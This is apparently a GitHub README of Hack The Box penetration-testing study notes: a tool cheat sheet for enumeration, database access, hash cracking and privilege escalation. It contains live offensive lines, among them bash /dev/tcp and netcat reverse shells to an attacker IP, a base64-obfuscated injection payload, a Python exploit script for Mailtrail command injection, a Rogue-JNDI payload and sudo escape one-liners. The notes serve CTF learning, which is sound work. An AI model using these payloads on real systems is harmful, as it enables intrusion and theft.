Skip to content

RiccardoRobb/Pentesting

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

18 Commits
 
 

Repository files navigation

Hack The Box

Basics to Pentesting

NMAP

  • Scan for open ports

    nmap -sV {IP} or namp -p- {IP}

    -sU for UDP

    -sV allows to perform version detection

    -sC allows to run safe script that can help for version detection

    We can speedup the scan using --min-rate {RATE} or -T{RATE}

  • Identify service on port

    nmap -p23 {IP}

    As we can see 23/tcp telnet open so we can try to connect to the machine using telnet.

  • Anti-firewall flag -Pn


TELNET

  • Connect using telnet

    telnet {IP}

    For the login we can try generally used usernames, such as admin, administrator or root.


FTP

  • Login as guest (no psw)

    ftp {IP}

    Use anonymous as username.

  • Using the get command we can directly download a file


SSH

  • Login as user

    ssh {USER}@{IP}

  • List opened ports

    ss -tl

    See other useful flags such as -p and -n

  • Login using .pem file

    ssh -i {.pem} {USER}@{IP}

    Remember to change permissions for .pem file chmod go= {.pem}

Hydra

Useful tool to use for testing passwords.

  • hydra -L {USERNAME_LIST} -p '{PASSWORD} {IP} {SERVICE}'

SSH copy files

  • scp {USER}@{IP}:{REMOTE_PATH} {LOCAL_PATH}

SSH add rsa key in remote host

  1. create private and public key using ssh-keygen -t rsa

  2. create in the remote host a .ssh directory

  3. inside the newly created directory write your id_rsa.pub in .ssh/authorized_keys

  4. modify the visibility of id_rsa to 400

  5. ssh {USER}@{IP} -i id_rsa


SMB (server message block)

Protocol used by Microsoft Windows systems, allows to share files, printers and serial ports ... (authenticated process communication)

  • List shares on target

    smbclient -L {IP}

  • Connect to machine

    smbclient //{IP}/{DRIVE} -U {USERNAME}

  • FTP-like commends, such as put or get

Try Administrator with empty or common passwords


REDIS

Is an In-memory Database used as database, cache, and message broker

  • Connect to Redis

    redis-cli -h {IP}

  • Get redis info

  • Get list of databases

    info keyspace

  • Get value from keys

    List all keys in database: keys *

    Get content from key: get {KEY}


MONGODB

  • Connect to remote DB

    ./mongo mongodb://{IP}:{PORT}

  • Eval on connection

    ./mongo --port {PORT} {COLLECTION} --eval {QUERY}

  • List databases show dbs

  • List collections in db use {DB} and show collections

  • Dump content of interesting collections

    db.{COLLECTION}.find().pretty()

  • Update values

    db.admin.update({"_id":ObjectId("{ID}")},{$set:{"{FIELD}":"{VALUE}"}})

  • Print users info

    From a collection db.admin.find().forEach(printjson)

    x_shadow field contains the hashed password of the user, we can replace this hash with our hash

    • mkpasswd -m {TYPE} {PASSWORD} for mongo we use SHA-512

MYSQL

  • Connect to remote DB

    mysql -u {USER} -h {IP} -p {PSW}

    For MariaDB we can use root for user (does not require a psw)

SQLMAP

Useful tool for searching and use SQL injection vulnerabilities.

  • sqlmap -u {URL} --cookie="{COOKIES}" --os-shell

  • Spawn stable shell

    bash -c "bash -i >& /dev/tcp/{LOCALIP}/{LOCALPORT} 0>&1"

    Remember to nc -lvnp {PORT}

  • Spawn the functional shell

    python3 -c 'import pty;pty.spawn("/bin/bash")'

PHP Tricks - HackTricks

We can use multiple types of bypasses that allow us to inject or execute code.

Generally a web server that uses MySQL can write in /var/lib/mysql/.


POSTGRESQL

  • Connect to remote DB

    psql -U {USER} -h {IP} -p {PORT}

  • Change DB

    \c {DB}

  • List DBs

    \l

  • List tables

    \d

  • List permissions

    \z


RDP (remote desktop protocol)

Protocol used from GUI in Windows Systems

  • Connect to remote host

    xfreerdp /v:{IP} /u:{USERNAME}

    administrator can be useful (does not require a psw)


RSYNC

Allows to sync files and directories from and to different hosts

To connect using anonymous authentication we can use None

  • List files

    rsync --list-only None@{IP}::

  • Get files

    rsync None@{IP}::{REMOTEPATH} {LOCALPATH}


TFTP

It is a UDP-like FTP, does not require authentication.

  • Start TFTP using tftp

  • connect {IP}


PHP easy way

  • [] returns null in a strcmp, try to change admin=value&password=value to admin[]=value&password[]=value


Reverse shells

https://www.revshells.com/

  • basic/stable shell : bash -c "bash -i >& /dev/tcp/{LOCALIP}/{LOCALPORT} 0>&1"

  • functional shell : python3 -c 'import pty;pty.spawn("/bin/bash")'

  • execute shell on web bash : ;echo${IFS%??}"{PAYLOAD}"${IFS%??}|${IFS%??}base64${IFS%??}-d${IFS%??}|${IFS%??}bash;

    • PAYLOAD = echo "bash -i >& /dev/tcp/{LOCALIP}/{LOCALPORT} 0>&1" | base64 -w 0

      Encoded base64 basic shell injected as payload.



Spring .jar server investigation

Decompiler

Using jd-gui we can open and navigate in the .jar.

  • BOOT-INF contains many useful files such as the application.properties file


0Auth2 Remote command execution

We need to start a Spring Security OAuth application

using docker compose up -d of:

version: '2'
services:
 spring:
   image: vulhub/spring-security-oauth2:2.0.8
   ports:
    - "8080:8080"

After initializing the Spring Server we need to request:

http://{MY_IP}:{MY_PORT}/oauth/authorize?response_type=${CODE}&client_id=acme&scope=openid&redirect_uri={TARGET_HOST}

  • {CODE} is the important part for executing the remote commands

Using poc.py we can generate an expression for the reverse shell.



Mailtrail

Can be exploited using Unauthenticated OS Command injection, injected commands will be run with the privileges of the running process.

curl 'http://.../login' --data 'username=;command to execute'

Useful for creating a reverse shell using the code below:

# Exploit the vulnerbility
def exploit(my_ip, my_port, target_url):
    # Defining python3 reverse shell payload
    payload = f'python3 -c \'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{my_ip}",{my_port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")\''
    # Encoding the payload with base64 encoding
    encoded_payload = base64.b64encode(payload.encode()).decode()
    # curl command that is to be executed on our system to exploit mailtrail
    command = f"curl '{target_url}/login' --data 'username=;`echo+\"{encoded_payload}\"+|+base64+-d+|+sh`'"
    print(command)
    # Executing it
    os.system(command)

Remember to open a netcat listener using: nc -nvlp {PORT}



XML External Entity Injection (XXE)

Allows to interfere with an application's processing of XML data.

Examples



Server side template Injection (SSTI)

Is when an attacker is able to use native template syntax to inject a malicious payload into a template, which is then executed server-side.

Template engines are designed to generate web pages by combining fixed templates with volatile data.

Generally injection attacks can occur when user input is concatenated directly into a template.

Exploitation techniques

MindFuck solution: when fighting for a require is not defined error try to modify it to process.mainModule.require :rage:

Remember to use execSync instead of exec :rage:



KeePass files

Having a .kdbx file is possible to exploit a VCE, using keepass-password-dumper: Original PoC for CVE-2023-32784 we can extract the actual database and for each entity a password and/or a key file in notes.



TCPDUMP

Command-line packet analyzer

Introduction to tcpdump

  • List interfaces

    tcpdump -D

  • Filter

    • host host {IP}

    • protocol {PROTOCOL}

    • port port {PORT}

    • source src {IP} and destination dst {IP}

  • -n -nn don't resolve port names and address names, -c{REQUESTSNUMBER}

  • Write to file

    -w {PATH}



CrackMapExec

Swiss army knife for penetration testing Windows/Active Directory environments.

"If installed using pipx and poetry, use poetry run {COMMAND}"

Wiki

  • Enumerate SMB info

    Get info about Server Message Block used

    crackmapexec smb {IP}

  • Enumerate Users Accounts

    Get info about user accounts, users from machines that allow anonymous sessions

    crackmapexec smb {IP} -u anonymous -p "" --rid-brute 10000

    Usually users are listed as SidTypeUsed

  • PasswordSpraying login

    crackmapexec smb {IP} -u {USERLIST} -p {PASSWORDLIST}

  • Enumerating Password policies

    crackmapexec smb {IP} -u "" -p "" --pass-pol

  • Enumerating SMB shares

    crackmapexec smb {IP} -u guest -p "" --shares

  • List files in share

    crackmapexec smb {IP} -u {USER} -p {PASSWORD} --spider {SHARE} --regex .


Rougue JNDI

JNDI allows to be called by applications in order to locate resources and programs (is an API)

This protocol can be vulnerable to payload injection.

A malicious LDAP server for JNDI injection attacks find more information about LDAP and JNDI injection

  • Convert bash command to Base64

    echo "{COMMAND} 0>&1" | base64

  • Build command in Rogue-Jndi

    java -jar rogue-jndi/target/RogueJndi-1.1.jar --command "bash -c {echo,BASE64COMMAND}|{base64,-d}|{bash,-i}" --hostname "{LOCALIP}"

  • Create reverse shell using collected values

    • Use collected values ldap://{LOCALIP:1389/o=tomcat

    • Open Netcat nc -lvp {PORT}

  • Send new request with special payload (add collected values)

  • Spawn functional shell

    script /dev/null -c bash



Burpsuite

  • Repeater tab

    Simplest tool to modify and forward requests.

  • Decoder tab

    We can decode/encode text, manually or automatically.

    Usually when we need to send special characters in our payload for an HTTP requests, we can use the URL encoding.

  • Proxy tab

    We can catch requests from and to a website.

  • Intruder tab

    We can modify a previous "call" for a website and modify it.

    We can select different types of attacks to perform.

Burpsuite is really powerful Google it for more info



Responder

Is a useful tool that can do many different kinds of attacks.

  • Setup a {PROTOCOL} server (see Reponder.py -h)

Using Responder we can catch responses from services directly on our machine

Responder

  • Start Responder

    sudo python3 Responder.py -I {NETINTERFACE}

  • Send request in URL

    {WEBSITE}/?{ARG}=//{RESPONDERIP}/somestring

    We will receive an NTLM response to our SMB server

    Usually a NTLM response contains the Challenge / HASH that allow us to extract the {user} password.

    We can try to crack the hash using John the ripper



Win PEAS

Is a script that search for all possible paths to escalate privileges on Windows hosts.

  1. Activate Local server

    [LOCAL HOST] python3 -m http.server {80} use port 80

    PEAS script

    REMOTE SHELL script

    Remember to check for your LOCAL IP using ifconfig

  2. Remote shell activation

    • Get the script inside the ACTIVATED xp_cmdshell in MySQL Remote server

      xp_cmdshell "powershell cd {ALLOWEDPATH}; wget ...{REMOTESHELL script}"

    • Active local remote shell

      sudo nc -lvno {LOCALPORT}

    • Active remote shell

      xp_cmdshell "powershell cd {PATHTOREMOTEEXE}; ./nc64.exe -e cmd.exe {LOCALIP} {LOCALPORT}"

    • Use remote shell from tab used by nc

  3. PEAS activation

    • Get script from remote shell

      wget {LOCALIP}/winPEASx64.exe -outfile winPEASx64.exe

      Remember to use powershell

    • Execute winPEAS

      Read carefully all the sections (the output can be really long!), check for important info such as installed exe, users, ....

      Current Token privileges, check for possible vulnerabilities for allow privileges.

      Example, in case of SeImpersonatePrivilege we can use JuicyPotato

      [see more information about this privilege]

Remember to always check:

  • [Windows] PowerShell history C:/{AppDataPATH}/Roaming/Microsoft/Windows/PowerShell/PSReadline/ConsoleHost_history.txt

  • [Linux] Bash history .bash_history



Win RM

Windows Remote Management, remote shell.

WinRM shell for hacking

evil-winrm -i {IP} -u {USER} -p {PSW} or ruby evil-winrm.rb ...

bundle exec evil-winrm.rb ...



Impacket utilities

Python classes for network protocols.

SQL server can see inside the classic www directory, remember that Microsoft websites are stored in inetpub\wwwroot.

Impacket

  • Microsoft SQL Server ./examples/mssqlclient.py

    MSSQL Injection Cheat Sheet

    Check configurations in EXEC sp_configure 'show advanced options', 1 in order to use EXEC sp_configure 'xp_cmdshell', 1

    • Connect to remote server

      python3 mssqlclient.py {USERNAME}@{IP} -windows-auth

    • Check allowed commands

      sp_configure

    • Xp_CMDShell

      xp_cmdshell "{COMMAND}"

  • Remote shell ./examples/psexec.py {USER}@{IP}



John the Ripper

  • Simple password cracking

    john -wordlist={PATHWORDLIST} {PATHHASHTOCRACK}

  • Zip hash cracking

    zip2john {ZIPPATH} > {PATHTOHASH}

    john {PATHTOHASH}

  • Hash cracking

    • Identify hash type hashid {HASH}

    • HashCat

      hashcat -a {ATTACKMODE} -m {HASHTYPE} {HASHPATH} {WORDLIST}



Web Shelles

list Read carefully the codes and change variables according to your configurations

PHP web shell

Inject php-reverse-shell.php to a web server, and load it.

  • Activate functional shell

    python3 -c 'import pty;pty.spawn("/bin/bash")'

Remember to activate nc -lvnp {PORT} and to search for passwords cat /etc/passwd


WWW-DATA user

When using web shelles is common to login as www-data, this allow us to see the content of all the files used by the server. We can perform a global cat * | grep -i passw* inside /var/www/html



Privilege escalation

This is a very hard and complicated argument, I will write only about the basic commands.

Linux

  • id will reveal useful information. The current user groups can be really useful

    • find group information

      find / -group {GROUPNAME} 2>/dev/null

    • find special executables

      Using the file command we can see information about file content. Watchout for setted suid.

  • sudo the dream command, it hard to obtain it, because we can find not allowed users.

    • List allowed commands sudo -l
  • groups list of current groups

  • strings allow to read a prettyfied version of the bin

  • strace allows to run a command / executable "step-by-step" in order to see ho the command invokes and uses resources

    In many cases file config are checked and they can be used to create a shell.

Simplest method used:

  1. Exploit a suid executable created by root

  2. Modify the $PATH - export $PATH=/tmp:PATH this path will be very useful

  3. vi can invoke an internal shell :shell, we can modify the shell using :set shell=/bin/shell

  4. find command can execute command find {PATH} {ARGS} -exec {COMMAND} {SHORTCUTS}

    • {} + shortcut for execute once

    • {} \; shortcut for execute for every result

    sudo find . -exec /bin/bash \; -quit

  5. env useful info can be found in the environment file

  6. uname -a to find the info about the machine (find out if the version is vulnerable)

Windows

  • whoami /priv info about permissions of the current user

Privilege escalation complex methods

systemctl

It is a command-line tool that allows for the management and monitoring of the systemd system and service manager. It consists of a range of system management utilities, libraries, and daemons.

After checking that sudo -l returns a NOPASSWD: /usr/bin/systemctl status {FILE}.service for this command, we need to change the config file in /etc/systemd/system/{FILE}.service.

Generally usr/bin/systemctl runs using less, so we can try to GTFO bins for less

We can try to run the service and escalate.

We can also try to modify the {FILE}.service but most of the time it will be read-only

ssh

If ssh can be run as root, it can be used to access the file system, escalate or maintain privileged access.

sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x

binary SQLite files

It is common to find a .db inside a server.

It can happen that user information are present in the .db file; to read the file use strings


Dir Busting

Directory brute-forcing is a technique used to check a lot of paths on a web server

SecLists: SecLists

Practicing: Damn Vulnerable Web Application (DVWA)

Gobuster

  • gobuster dir -u {IP} -w {LIST} -x {FILETYTPETARGET}

Remember to exclude error codes using -b {CODE_1},{CODE_2} or add good codes -s {CODE_1},{CODE_2}

Sub-Domain enumeration

Gobuster

  • gobuster vhost -u {IP} -w {LIST}

    (Use can also use --append-domain )

If gobuster got a 200 code for non-existent URL, gobuster will refuse to continue, because it won't have a way to distinguish false positives. In this case it is better to manually analyze the website



Name-Based Virtual hosting

Is a method for hosting multiple domain names on a single server.

The web server checks the domain name provided in the Host header field of the HTTP request and sends a response.

A target Website can redirect to a new Website, and this Website can be unreachable

In order to resolve a Hostname into an IP address we can:

  • Add a new entry in /etc/hosts

    echo "{IP} {WEBSITENAME}" | sudo tee -a /etc/hosts

Names from the same IP must be on a single line!

{IP} {WEBSITENAME_1} {WEBSITENAME_2} ...



Local Port forwarding

To access a service running on the remote server, we generate traffic targeted to a port on our local machine and in turn ssh tunnels the traffic to the remote port.

  • ssh -L {LOCALPORT}:{DEST_SERVER}:{REMOTEPORT} {IP}

    {IP} can be also {USERNAME}@{IP}



Local & Remote File inclusion

Local

Happens when an application uses the path to a file as an input.

If the application treats this input as trusted, and the required sanitary checks are not performed on this input, then the attacker can exploit it by using the ../ string in the inputted file name. LFI can lead to code execution as well.

Remote

Happens when an attacker loads a remote file on the host using HTTP, FTP ....

For a good RFI we can try to inject particular paths in the URL, based on the Webserver used.

For Windows based systems we can try:

  • ../../../../../../../../windows/system32/drivers/etc/hosts

    This type of attack works if the content of the PHP functions is not correctly sanitized, see include() function.

Known paths: Auto_WordLists

ZipSlip + Symbolic links

We can zip symbolic links for example:

We access a web site that accepts zip files containing pdf files

  • ln -s ../../../../../../etc/passwd document.pdf allows us to create a symbolic link to a directory, so that when accessing to document.pdf we can see the content of passwd


Sources: HackTricks, Hack The Box, Pentest Everything and others

@Author: RiccardoRobb (Robb) · GitHub